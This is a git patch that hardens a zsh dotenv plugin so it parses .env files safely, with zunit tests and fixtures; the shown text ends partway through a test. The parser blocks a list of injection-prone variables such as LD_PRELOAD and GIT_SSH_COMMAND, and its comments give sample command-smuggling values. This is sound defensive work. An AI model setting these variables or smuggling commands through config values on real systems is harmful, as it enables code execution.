From d170d18746bb06db7b2fc97b67e281597a3fc152 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Marc=20Cornell=C3=A0?= Date: Thu, 28 May 2026 20:23:45 +0200 Subject: [PATCH] fix(dotenv): introduce safe parsing of .env files (#13778) * fix(dotenv): expect explicit yes before loading .env file * fix(dotenv): implement secure parsing for .env files and add comprehensive tests * feat(dotenv): check for .env file size to prevent DoS * fix(dotenv): forbid setting special variables * fix(dotenv): FIFO shouldn't be read twice * fix(dotenv): unknown vars should expand to empty * fix(dotenv): reject extremely large named pipes * docs(dotenv): update to new parsing system * fix(dotenv): add support for escaped dollars * chore(dotenv): only declare local variables once * fix(dotenv): apply review suggestions * docs(dotenv): update test instructions Co-authored-by: Carlo Sala --- plugins/dotenv/.zunit.yml | 9 + plugins/dotenv/README.md | 47 ++- plugins/dotenv/dotenv.plugin.zsh | 289 ++++++++++++- plugins/dotenv/tests/_output/.gitignore | 2 + plugins/dotenv/tests/_support/bootstrap | 139 ++++++ .../tests/_support/fixtures/dotenvjs.env | 88 ++++ .../tests/_support/fixtures/features.env | 23 + plugins/dotenv/tests/basic-parsing.zunit | 398 ++++++++++++++++++ plugins/dotenv/tests/compatibility.zunit | 27 ++ plugins/dotenv/tests/security.zunit | 209 +++++++++ 10 files changed, 1219 insertions(+), 12 deletions(-) create mode 100644 plugins/dotenv/.zunit.yml create mode 100644 plugins/dotenv/tests/_output/.gitignore create mode 100644 plugins/dotenv/tests/_support/bootstrap create mode 100644 plugins/dotenv/tests/_support/fixtures/dotenvjs.env create mode 100644 plugins/dotenv/tests/_support/fixtures/features.env create mode 100644 plugins/dotenv/tests/basic-parsing.zunit create mode 100644 plugins/dotenv/tests/compatibility.zunit create mode 100644 plugins/dotenv/tests/security.zunit diff --git a/plugins/dotenv/.zunit.yml b/plugins/dotenv/.zunit.yml new file mode 100644 index 000000000..e5ea0c3a6 --- /dev/null +++ b/plugins/dotenv/.zunit.yml @@ -0,0 +1,9 @@ +tap: false +directories: + tests: tests + output: tests/_output + support: tests/_support +time_limit: 0 +fail_fast: false +allow_risky: false +verbose: false diff --git a/plugins/dotenv/README.md b/plugins/dotenv/README.md index 5dbcf0fb1..8b3f9ecce 100644 --- a/plugins/dotenv/README.md +++ b/plugins/dotenv/README.md @@ -34,6 +34,25 @@ PORT=3001 You can even mix both formats, although it's probably a bad idea. +Multi-line values are supported using quoted strings: + +```sh +PRIVATE_KEY="-----BEGIN RSA PRIVATE KEY----- +MIIEowIBAAKCAQEA... +-----END RSA PRIVATE KEY-----" +``` + +Variables defined earlier in the file can be referenced by later entries: + +```sh +BASE_URL=https://example.com +API_URL=$BASE_URL/api +ASSETS_URL=${BASE_URL}/assets +``` + +Note: only variables defined within the same `.env` file are expanded this way — +shell environment variables that already exist are **not** substituted. + ## Settings ### ZSH_DOTENV_FILE @@ -86,13 +105,37 @@ mount `.env` files as named pipes to inject secrets on-the-fly without writing t No additional configuration is required — the plugin automatically detects and sources named pipes. +## Tests + +The tests use [zunit](https://github.com/zunit-zsh/zunit). Install it per its [documentation](https://github.com/zunit-zsh/zunit#installation), then run: + +```sh +cd plugins/dotenv && zunit +``` + +> [NOTE!] +> zunit also requires installing [Revolver](https://github.com/molovo/revolver). + ## Version Control **It's strongly recommended to add `.env` file to `.gitignore`**, because usually it contains sensitive information such as your credentials, secret keys, passwords etc. You don't want to commit this file, it's supposed to be local only. -## Disclaimer +## Security -This plugin only sources the `.env` file. Nothing less, nothing more. It doesn't do any checks. It's designed to be the fastest and simplest option. You're responsible for the `.env` file content. You can put some code (or weird symbols) there, but do it on your own risk. `dotenv` is the basic tool, yet it does the job. +The plugin applies several best-effort safeguards when loading a `.env` file: + +- **Size limit** — files larger than 10 MiB are rejected to prevent DoS. +- **Syntax check** — the file is validated with `zsh -fn` before any variables are set. +- **No command substitution** — entries containing `$(...)` or backtick constructs are skipped. +- **Forbidden variables** — the following variables are never overwritten, regardless of what the + `.env` file contains: `NODE_OPTIONS`, `BASH_ENV`, `ENV`, `ZDOTDIR`, `ZSH`, `LD_PRELOAD`, + `LD_LIBRARY_PATH`, `DYLD_INSERT_LIBRARIES`, `GIT_CONFIG_GLOBAL`, `GIT_DIR`, `GIT_EDITOR`, + `GIT_EXTERNAL_DIFF`, `GIT_EXEC_PATH`, `GIT_PAGER`, `GIT_SSH`, `GIT_SSH_COMMAND`, + `GIT_SSL_NO_VERIFY`, `GIT_TEMPLATE_DIR`, `VISUAL`, `PAGER`, `EDITOR`, and all zsh special + parameters. + +These measures are **best-effort** — you are still responsible for the content of your `.env` +file. Do not use this plugin as a security boundary. If you need more advanced and feature-rich ENV management, check out these awesome projects: diff --git a/plugins/dotenv/dotenv.plugin.zsh b/plugins/dotenv/dotenv.plugin.zsh index c44c369b5..72839a501 100644 --- a/plugins/dotenv/dotenv.plugin.zsh +++ b/plugins/dotenv/dotenv.plugin.zsh @@ -7,9 +7,271 @@ : ${ZSH_DOTENV_ALLOWED_LIST:="${ZSH_CACHE_DIR:-$ZSH/cache}/dotenv-allowed.list"} : ${ZSH_DOTENV_DISALLOWED_LIST:="${ZSH_CACHE_DIR:-$ZSH/cache}/dotenv-disallowed.list"} - ## Functions +_parse_dotenv_content() { + setopt localoptions extendedglob + + local content="$1" + local mode="${2:-export}" + + # Validate mode argument + case "$mode" in + export|test) ;; + *) + echo "parse_dotenv: invalid mode '$mode' (use 'export' or 'test')" >&2 + return 1 + ;; + esac + + local node line key value + local raw_value expanded prefix remainder var_name escaped_dollar_placeholder + local sq dq uq safe + local -A parsed_vars + local -a nodes lines + + # Parse into command lines separated by `;`, with built-in support for multi-line commands. + # (Z:C:) ignores comments and preserves quotes and escapes. + # + # All logical commands are separated by literal ';' elements, which allows us to reconstruct logical lines + # by joining all elements between ';'. + # + # Example input: + # VAR1=value1; VAR2=value2 + # VAR3="multi + # line value" + # Result: + # typeset -a nodes=( 'VAR1=value1' ';' 'VAR2=value2' ';' $'VAR3="multi\nline value"' ) + # typeset -a lines=( 'VAR1=value1' 'VAR2=value2' $'VAR3="multi\nline value"' ) + # + nodes=("${(@Z:C:)content}" ";") # last ';' ensures we add the final command + for node in "${nodes[@]}"; do + if [[ "$node" == ";" ]]; then + if [[ -n "$line" ]]; then + lines+=("$line") + line="" + fi + continue + fi + + [[ -z "$line" ]] || line+=" " + line+="$node" + done + + local -a forbidden_vars=( + NODE_OPTIONS + BASH_ENV + ENV + ZDOTDIR + ZSH + LD_PRELOAD + LD_LIBRARY_PATH + DYLD_INSERT_LIBRARIES + GIT_CONFIG_GLOBAL + GIT_DIR + GIT_EDITOR + GIT_EXTERNAL_DIFF + GIT_EXEC_PATH + GIT_PAGER + GIT_SSH + GIT_SSH_COMMAND + GIT_SSL_NO_VERIFY + GIT_TEMPLATE_DIR + VISUAL + PAGER + EDITOR + ${(k)parameters[(R)*export*special]} + ) + local forbidden="${(j:|:)forbidden_vars}" + + + # Each line contains a single command line, we need to parse valid KEY=VALUE pairs + for line in "${lines[@]}"; do + # Strip leading 'export ' keyword + line="${line#export[ ]}" + + # Match KEY=VALUE pattern + # "A name may be any sequence of alphanumeric characters and underscores" + # https://zsh.sourceforge.io/Doc/Release/Parameters.html#Parameters + if [[ ! "$line" =~ ^([a-zA-Z_][a-zA-Z0-9_]*)=(.*)$ ]]; then + continue + fi + + key="${match[1]}" + value="${match[2]}" + raw_value="$value" + + # Filter out variables to be ignored for security reasons (best effort) + if [[ "$key" == (${~forbidden}) ]]; then + continue + fi + + # Use tokenization to split value with native shell parsing (handles quotes and escapes) + # Ignore any values that parse to multiple words, e.g. `BASE_URL=/ echo command run` + local -a words + words=("${(@z)value}") + if [[ ${#words} -ne 1 ]]; then + continue + fi + + ## START: FILTER COMMAND EXPANSION + # + # Filter lines with command expansion not in safe contexts + # + # READER'S NOTE: this is actually a "best effort" check (works in tests), but + # only to prevent setting variables with command substitution. The actual effect + # of setting them would not be a vulnerability, because we use `typeset name=value` + # and value is a quoted string parsed by zsh itself with `${(Z:C:)content}`. + # + # What does this mean? If we were to remove this filter block, this is what would happen: + # + # Input: DANGEROUS=$(echo this is a command) + # Output: DANGEROUS='$(echo this is a command)' (literal string, no command execution) + # + # Check for potential command substitution outside of safe contexts + # - single-quoted strings: command substitution is literal there + sq="'[^']#'" + # - double-quoted strings, but NOT unescaped ` or $( + dq='"([^"$`\\]|\\.|\\$[^(\`])#"' + # - unquoted text, but NOT unescaped ` or $( + uq='([^$`'"'"'"\\]|\\.|\\$[^(\`])#' + safe="(${sq}|${dq}|${uq})#" + # Remove the longest safe prefix; what remains starts at first unsafe construct + remainder="${value##${~safe}}" + + if [[ "$remainder" == *'$('* || "$remainder" == *'`'* ]]; then + continue + fi + ## END: FILTER COMMAND EXPANSION + + # Single-quoted values are fully literal and must not participate in expansion. + if [[ "$raw_value" == \'*\' ]]; then + value="${(Q)value}" + parsed_vars[$key]="$value" + if [[ "$mode" == "export" ]]; then + typeset -x "$key"="$value" + fi + continue + fi + + # Preserve escaped dollars so they remain literal after unquoting. + escaped_dollar_placeholder=$'\001DOTENV_ESCAPED_DOLLAR\001' + value="${value//\\\$/$escaped_dollar_placeholder}" + + # Unquote the value to handle special characters and multiline values. + value="${(Q)value}" + + # Expand previously parsed in-file variables without partial name matches. + expanded="" + prefix="" + remainder="$value" + var_name="" + while [[ "$remainder" == *'$'* ]]; do + prefix="${remainder%%\$*}" + expanded+="$prefix" + remainder="${remainder#$prefix}" + + if [[ "$remainder" =~ '^\$\{([a-zA-Z_][a-zA-Z0-9_]*)\}(.*)$' ]]; then + var_name="${match[1]}" + remainder="${match[2]}" + elif [[ "$remainder" =~ '^\$([a-zA-Z_][a-zA-Z0-9_]*)(.*)$' ]]; then + var_name="${match[1]}" + remainder="${match[2]}" + else + expanded+='$' + remainder="${remainder#?}" + continue + fi + + if [[ -v "parsed_vars[$var_name]" ]]; then + expanded+="${parsed_vars[$var_name]}" + fi + done + value="${expanded}${remainder}" + value="${value//$escaped_dollar_placeholder/\$}" + + # Store in parsed vars (for in-file expansion) + parsed_vars[$key]="$value" + + # Normal mode: export the variable + if [[ "$mode" == "export" ]]; then + typeset -x "$key"="$value" + fi + done + + # In test mode, set DOTENV_TEST_VARS + typeset -gA DOTENV_TEST_VARS + DOTENV_TEST_VARS=("${(@kv)parsed_vars}") +} + +parse_dotenv() { + local filename="$1" + local mode="${2:-export}" + local content + + # Fail if file is too large to avoid DoS + zmodload -F zsh/stat b:zstat + local -i file_size max_size=10485760 # 10MiB + if ! file_size=$(zstat +size "$filename" 2>/dev/null); then + echo "dotenv: unable to determine size of file '$filename'" >&2 + return 1 + fi + + if (( file_size > max_size )); then + echo "dotenv: file '$filename' is too large to parse (size: $file_size bytes)" >&2 + return 1 + fi + + content="$(<"$filename")" || return 1 + _parse_dotenv_content "$content" "$mode" +} + +_dotenv_read_limited() { + local filename="$1" + local chunk content="" + local -i max_size=10485760 total=0 read_size=0 fd read_status + + zmodload zsh/system || return 1 + exec {fd}<"$filename" || return 1 + + while true; do + sysread -i $fd -s 65536 -c read_size chunk + read_status=$? + + if (( read_status == 5 )); then + break + elif (( read_status != 0 )); then + exec {fd}<&- + return 1 + fi + + (( total += read_size )) + if (( total > max_size )); then + exec {fd}<&- + echo "dotenv: file '$filename' is too large to parse (size: more than $max_size bytes)" >&2 + return 1 + fi + + content+="$chunk" + done + + exec {fd}<&- + REPLY="$content" +} + +_dotenv_check_syntax() { + local filename="$1" + + if (( $# == 2 )); then + printf '%s' "$2" | zsh -fn /dev/stdin + else + zsh -fn -- "$filename" + fi || { + echo "dotenv: error when sourcing '$filename' file" >&2 + return 1 + } +} + source_env() { if [[ ! -f "$ZSH_DOTENV_FILE" ]] && [[ ! -p "$ZSH_DOTENV_FILE" ]]; then return @@ -37,28 +299,35 @@ source_env() { [[ $column -eq 1 ]] || echo # print same-line prompt and output newline character if necessary - echo -n "dotenv: found '$ZSH_DOTENV_FILE' file. Source it? ([Y]es/[n]o/[a]lways/n[e]ver) " + echo -n "dotenv: found '$ZSH_DOTENV_FILE' file. Source it? ([y]es/[N]o/[a]lways/n[e]ver) " read -k 1 confirmation [[ "$confirmation" = $'\n' ]] || echo # check input case "$confirmation" in - [nN]) return ;; + [yY]) ;; [aA]) echo "$dirpath" >> "$ZSH_DOTENV_ALLOWED_LIST" ;; [eE]) echo "$dirpath" >> "$ZSH_DOTENV_DISALLOWED_LIST"; return ;; - *) ;; # interpret anything else as a yes + *) return ;; # interpret anything else as a no esac fi fi - # test .env syntax - zsh -fn $ZSH_DOTENV_FILE || { - echo "dotenv: error when sourcing '$ZSH_DOTENV_FILE' file" >&2 - return 1 - } + local content + if [[ -p "$ZSH_DOTENV_FILE" ]]; then + _dotenv_read_limited "$ZSH_DOTENV_FILE" || return 1 + content="$REPLY" + _dotenv_check_syntax "$ZSH_DOTENV_FILE" "$content" || return 1 + + setopt localoptions allexport + _parse_dotenv_content "$content" + return + fi + + _dotenv_check_syntax "$ZSH_DOTENV_FILE" || return 1 setopt localoptions allexport - source $ZSH_DOTENV_FILE + parse_dotenv "$ZSH_DOTENV_FILE" } autoload -U add-zsh-hook diff --git a/plugins/dotenv/tests/_output/.gitignore b/plugins/dotenv/tests/_output/.gitignore new file mode 100644 index 000000000..d6b7ef32c --- /dev/null +++ b/plugins/dotenv/tests/_output/.gitignore @@ -0,0 +1,2 @@ +* +!.gitignore diff --git a/plugins/dotenv/tests/_support/bootstrap b/plugins/dotenv/tests/_support/bootstrap new file mode 100644 index 000000000..f45bec020 --- /dev/null +++ b/plugins/dotenv/tests/_support/bootstrap @@ -0,0 +1,139 @@ +#!/usr/bin/env zsh +# Bootstrap script for dotenv plugin tests +# This is sourced before any tests run and provides shared utilities + +# Load the dotenv plugin +source "$PWD/dotenv.plugin.zsh" +ZSH_DOTENV_PROMPT=false +ZSH_DOTENV_FILE=/dev/null + +# Helper: Parse dotenv file in test mode +_parse_dotenv_test() { + parse_dotenv "$1" "test" +} + +# Helper: Parse dotenv file in export mode +_parse_dotenv_export() { + unset "${(k)parameters[(R)*export*]}" 2>/dev/null || true + + parse_dotenv "$1" "test" + + for key in "${(k)DOTENV_TEST_VARS}"; do + typeset -x "$key"="${DOTENV_TEST_VARS[$key]}" + done +} + +# Helper: Run parse_dotenv suppressing stderr +_parse_dotenv_quiet() { + parse_dotenv "$@" 2>/dev/null +} + +# Helper: Create a temporary test fixture +_create_temp_fixture() { + local fixture + fixture==(:) # Create temp file + echo "$fixture" +} + +_write_temp_fixture() { + local fixture="$1" + > "$fixture" +} + + +# Helper: Source file with allexport and capture variables +# Usage: _source_with_allexport "file.env" +# Result is in DOTENV_SOURCE_VARS associative array +_source_with_allexport() { + local filename="$1" + + # Source with allexport in a subshell with no exported variables + + # The return and capture of the exported variables is a bit of a pain: + # 1. We first store the key=value pairs in $vars associative array, which is + # defined before allexport is set to avoid appearing in results. + # 2. Afterwards, we join all keys and values of the associative with null delimiters. With + # "$(@kv)vars}" we get keys and values with quotes, to retain empty values. With (pj:\0:) + # we join them with nulls. + # 3. The caller reads this output with "${(@0)}" to split by nulls and quoting to retain + # empty values, and then uses it to populate an associative array. + # Don't try to understand this or change it unless you have to. Debugging is a nightmare. + typeset -gA DOTENV_SOURCE_VARS + DOTENV_SOURCE_VARS=("${(@0)"$( + local -A vars + + # Clear all exports first + zmodload zsh/parameter + unset ${(k)parameters[(R)*export*]} 2>/dev/null || true + + # Source file with allexport + setopt localoptions allexport + source "$filename" + + # Set all exported variables into an associative array + for key in ${(k)parameters[(R)*export*]}; do + vars[$key]="${(P)key}" + done + + print -rn -- "${(@kvpj:\0:)vars}" + )"}") +} + + +## ZUnit assertion helpers + +_zunit_assert_function_exists() { + [[ "${+functions[$1]}" -eq 1 ]] && return 0 + echo "Function '$1' does not exist" + exit 1 +} + +_zunit_assert_var_same_as() { + local tvalue=${${:-${(Pt)1%-*}}:-unset} tcomp=${${:-${(Pt)2%-*}}:-unset} + if [[ $tvalue != $tcomp ]]; then + echo "Type mismatch: '$1' ($tvalue) and '$2' ($tcomp)" + exit 78 + fi + + # Special case for associative arrays + if [[ ${(Pt)1} == "association" ]]; then + local -A value=("${(P@kv)1}") comparison=("${(P@kv)2}") + local -aU keys=("${(@k)value}" "${(@k)comparison}") + + local ret=0 key + for key in "${keys[@]}"; do + # Key match checks + if [[ -v "value[$key]" && ! -v "comparison[$key]" ]]; then + echo "'$1[$key]' is set (value='${value[$key]}')" + ret=1 + elif [[ ! -v "value[$key]" && -v "comparison[$key]" ]]; then + echo "'$1[$key]' is not set (expected='${comparison[$key]}')" + ret=1 + # Value match checks + elif [[ "${value[$key]}" != "${comparison[$key]}" ]]; then + echo "'$1[$key]' value mismatch: '${value[$key]}' is not the same as '${comparison[$key]}'" + ret=1 + fi + done + + exit $ret + fi + + # Generic case + local value="${(P)1}" comparison="${(P)2}" + [[ "$value" != "$comparison" ]] || exit 0 + echo "'$1' value mismatch: '$value' is not the same as '$comparison'" + exit 1 +} + +_zunit_assert_var_is_set() { + [[ -v "$1" ]] && return 0 + echo "Variable '$1' is not set" + exit 1 +} + +_zunit_assert_var_is_not_set() { + [[ ! -v "$1" ]] && return 0 + echo "Variable '$1' is set" + exit 1 +} diff --git a/plugins/dotenv/tests/_support/fixtures/dotenvjs.env b/plugins/dotenv/tests/_support/fixtures/dotenvjs.env new file mode 100644 index 000000000..16a56267c --- /dev/null +++ b/plugins/dotenv/tests/_support/fixtures/dotenvjs.env @@ -0,0 +1,88 @@ +# Consolidated dotenv test fixture from dotenv test suite +# Source: https://github.com/motdotla/dotenv/tree/master/tests +# +# Copyright (c) 2015, Scott Motte +# All rights reserved. + +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions are met: + +# * Redistributions of source code must retain the above copyright notice, this +# list of conditions and the following disclaimer. + +# * Redistributions in binary form must reproduce the above copyright notice, +# this list of conditions and the following disclaimer in the documentation +# and/or other materials provided with the distribution. + +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE +# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +# Basic assignments +BASIC=basic + +# previous line intentionally left blank +AFTER_LINE=after_line + +# Empty values +EMPTY= +EMPTY_SINGLE_QUOTES='' +EMPTY_DOUBLE_QUOTES="" + +# Single quotes (literal, no expansion) +SINGLE_QUOTES='single_quotes' +SINGLE_QUOTES_SPACED=' single quotes ' +DONT_EXPAND_SQUOTED='dontexpand\nnewlines' + +# Double quotes (with escapes) +DOUBLE_QUOTES="double_quotes" +DOUBLE_QUOTES_SPACED=" double quotes " +EXPAND_NEWLINES="expand\nnew\nlines" + +# Unquoted (no escape expansion) +DONT_EXPAND_UNQUOTED=dontexpand\nnewlines + +# Quotes inside quotes +DOUBLE_QUOTES_INSIDE_SINGLE='double "quotes" work inside single quotes' +SINGLE_QUOTES_INSIDE_DOUBLE="single 'quotes' work inside double quotes" + +# Comments +# COMMENTS=work +INLINE_COMMENTS_SINGLE_QUOTES='inline comments outside of #singlequotes' # work +INLINE_COMMENTS_DOUBLE_QUOTES="inline comments outside of #doublequotes" # work +INLINE_COMMENTS_UNQUOTED=value # work + +# Special characters +EQUAL_SIGNS=equals== +RETAIN_INNER_QUOTES_AS_STRING='{"foo": "bar"}' +USEREMAIL=therealnerdybeast@example.tld + +# Multiline values with double quotes +MULTI_DOUBLE_QUOTED="THIS +IS +A +MULTILINE +STRING" + +# Multiline values with single quotes +MULTI_SINGLE_QUOTED='THIS +IS +A +MULTILINE +STRING' + +# Multiline PEM certificate +MULTI_PEM_DOUBLE_QUOTED="-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u +LgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/ +bTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/ +kKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V +u4QuUoobAgMBAAE= +-----END PUBLIC KEY-----" diff --git a/plugins/dotenv/tests/_support/fixtures/features.env b/plugins/dotenv/tests/_support/fixtures/features.env new file mode 100644 index 000000000..e5862bc8e --- /dev/null +++ b/plugins/dotenv/tests/_support/fixtures/features.env @@ -0,0 +1,23 @@ +# Export syntax +export EXPORTED_VAR=exported_value +export EXPORTED_EMPTY= + +# Variable expansion (in-file forward references) +BASE_URL=https://api.example.com +API_ENDPOINT="${BASE_URL}/v1" +FULL_ENDPOINT=$BASE_URL/v2/users +COMBINED="${BASE_URL}_suffix" + +# Testing multiline quoting edge cases +MULTILINE_UNQUOTED=This\ is\ a\ \ +multiline\ value\ that\ should\ be\ treated\ as\ a\ single\ line\ with\ a\ literal\ backslash\ and\ newline +MULTILINE_DOUBLE_QUOTED="This is a \ +multiline value that should be treated as a single line with an actual newline character" +MULTILINE_SINGLE_QUOTED='This is a \ +multiline value that should be treated as a single line with a literal backslash and newline' +MULTILINE_MIXED_QUOTES="This is a \ +multiline value that should be treated as a single line with an actual newline character and a literal backslash \"and 'single quotes' inside" + +# Test for regressions +DATABASE_URL="postgres://user:pass@host/db;sslmode=require" +VAR_WITH_SEMICOLONS="value ; with ; semicolons" diff --git a/plugins/dotenv/tests/basic-parsing.zunit b/plugins/dotenv/tests/basic-parsing.zunit new file mode 100644 index 000000000..611f6a70a --- /dev/null +++ b/plugins/dotenv/tests/basic-parsing.zunit @@ -0,0 +1,398 @@ +#!/usr/bin/env zunit + + +@setup { + typeset -g fixture="$(_create_temp_fixture)" + typeset -gA expected_vars=() +} + +@teardown { + [[ -f "$fixture" ]] && command rm -f "$fixture" + unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null +} + +@test 'dotenv plugin loads successfully' { + assert "parse_dotenv" function_exists + assert "source_env" function_exists +} + +@test 'parse returns error for unsupported mode' { + run _parse_dotenv_quiet "/dev/null" "export" + assert $state equals 0 + + run _parse_dotenv_quiet "/dev/null" "test" + assert $state equals 0 + + run _parse_dotenv_quiet "/dev/null" "invalid_mode" + assert $state equals 1 +} + +@test 'parse returns error for oversized file (> 10MiB)' { + command truncate -s 11M "$fixture" 2>/dev/null + + run _parse_dotenv_quiet "$fixture" "test" + assert $state equals 1 +} + +@test 'parse returns error for non-existent file' { + run _parse_dotenv_quiet "/nonexistent/path/.env" "test" + assert $state equals 1 +} + +@test 'source_env loads named pipes without blocking' { + local tmpdir fifo output result + local child_pid writer_pid killer_pid child_rc + + tmpdir="$(mktemp -d "${TMPDIR:-/tmp}/dotenv.XXXXXX")" + fifo="$tmpdir/.env" + output="$tmpdir/output" + command mkfifo "$fifo" + + ( + print -r -- 'TOKEN=secret' > "$fifo" + ) & + writer_pid=$! + + ( + ZSH_DOTENV_PROMPT=false + ZSH_DOTENV_FILE="$fifo" + source_env + print -r -- "${TOKEN-}" > "$output" + ) & + child_pid=$! + + ( + sleep 2 + kill -0 $child_pid 2>/dev/null || exit 0 + kill $child_pid 2>/dev/null || exit 0 + ) & + killer_pid=$! + + wait $child_pid + child_rc=$? + + kill $killer_pid 2>/dev/null || true + kill $writer_pid 2>/dev/null || true + wait $writer_pid 2>/dev/null || true + + [[ -f "$output" ]] && result="$(<"$output")" + command rm -rf "$tmpdir" + + assert $child_rc equals 0 + assert "$result" equals 'secret' +} + +@test 'source_env rejects oversized named pipes' { + run zsh -fc ' + source ./dotenv.plugin.zsh + + tmpdir="$(mktemp -d "${TMPDIR:-/tmp}/dotenv.XXXXXX")" || exit 1 + fifo="$tmpdir/.env" + command mkfifo "$fifo" || exit 1 + + cleanup() { + kill $killer_pid 2>/dev/null || true + kill $writer_pid 2>/dev/null || true + wait $writer_pid 2>/dev/null || true + command rm -rf "$tmpdir" + } + trap cleanup EXIT + + ( + { + print -rn -- "BIG=" + command dd if=/dev/zero bs=10485761 count=1 2>/dev/null | tr "\0" a + } > "$fifo" + ) & + writer_pid=$! + + ( + sleep 2 + kill -0 $$ 2>/dev/null || exit 0 + kill $$ 2>/dev/null || exit 0 + ) & + killer_pid=$! + + ZSH_DOTENV_PROMPT=false + ZSH_DOTENV_FILE="$fifo" + source_env >/dev/null 2>&1 + ' + + assert $state equals 1 +} + +@test 'parse basic variable assignment' { + > "$fixture" <<'EOF' +# Basic assignments +BASIC=basic + +# previous line intentionally left blank +AFTER_LINE=after_line +EOF + + expected_vars=( + BASIC 'basic' + AFTER_LINE 'after_line' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse empty values' { + > "$fixture" <<'EOF' +# Empty values +EMPTY= +EMPTY_SINGLE_QUOTES='' +EMPTY_DOUBLE_QUOTES="" +EOF + + expected_vars=( + EMPTY '' + EMPTY_SINGLE_QUOTES '' + EMPTY_DOUBLE_QUOTES '' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse single quoted values' { + > "$fixture" <<'EOF' +# Single quotes (literal, no expansion) +SINGLE_QUOTES='single_quotes' +SINGLE_QUOTES_SPACED=' single quotes ' +DONT_EXPAND_SQUOTED='dontexpand\nnewlines' +EOF + + expected_vars=( + SINGLE_QUOTES 'single_quotes' + SINGLE_QUOTES_SPACED ' single quotes ' + DONT_EXPAND_SQUOTED 'dontexpand\nnewlines' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse double quoted values' { + > "$fixture" <<'EOF' +# Double quotes (with escapes) +DOUBLE_QUOTES="double_quotes" +DOUBLE_QUOTES_SPACED=" double quotes " +EXPAND_NEWLINES="expand\nnew\nlines" +EOF + + expected_vars=( + DOUBLE_QUOTES 'double_quotes' + DOUBLE_QUOTES_SPACED ' double quotes ' + EXPAND_NEWLINES "expand\nnew\nlines" + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse unquoted values' { + > "$fixture" <<'EOF' +# Unquoted (no escape expansion) +DONT_EXPAND_UNQUOTED=dontexpand\\nnewlines +EOF + + + expected_vars=( + DONT_EXPAND_UNQUOTED 'dontexpandnnewlines' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse quotes inside quotes' { + > "$fixture" <<'EOF' +# Quotes inside quotes +DOUBLE_QUOTES_INSIDE_SINGLE='double "quotes" work inside single quotes' +SINGLE_QUOTES_INSIDE_DOUBLE="single 'quotes' work inside double quotes" +EOF + + expected_vars=( + DOUBLE_QUOTES_INSIDE_SINGLE 'double "quotes" work inside single quotes' + SINGLE_QUOTES_INSIDE_DOUBLE "single 'quotes' work inside double quotes" + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse inline comments' { + > "$fixture" <<'EOF' +# Comments +# COMMENTS=work +INLINE_COMMENTS_SINGLE_QUOTES='inline comments outside of #singlequotes' # work +INLINE_COMMENTS_DOUBLE_QUOTES="inline comments outside of #doublequotes" # work +INLINE_COMMENTS_UNQUOTED=value # work +EOF + + expected_vars=( + INLINE_COMMENTS_SINGLE_QUOTES 'inline comments outside of #singlequotes' + INLINE_COMMENTS_DOUBLE_QUOTES 'inline comments outside of #doublequotes' + INLINE_COMMENTS_UNQUOTED 'value' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse ignores non-assignment commands with assignment-looking arguments' { + > "$fixture" <<'EOF' +print SHOULD_NOT_PARSE=value +EOF + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse special characters' { + > "$fixture" <<'EOF' +# Special characters +EQUAL_SIGNS=equals== +RETAIN_INNER_QUOTES_AS_STRING='{"foo": "bar"}' +USEREMAIL=therealnerdybeast@example.tld +EOF + + expected_vars=( + EQUAL_SIGNS 'equals==' + RETAIN_INNER_QUOTES_AS_STRING '{"foo": "bar"}' + USEREMAIL 'therealnerdybeast@example.tld' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse multiline values with mixed quotes' { + > "$fixture" <<'EOF' +# Multiline values with double quotes +MULTI_DOUBLE_QUOTED="THIS +IS +A +MULTILINE +STRING" + + +# Multiline values with single quotes +MULTI_SINGLE_QUOTED='THIS +IS +A +MULTILINE +STRING' + +# Multiline PEM certificate +MULTI_PEM_DOUBLE_QUOTED="-----BEGIN PUBLIC KEY----- 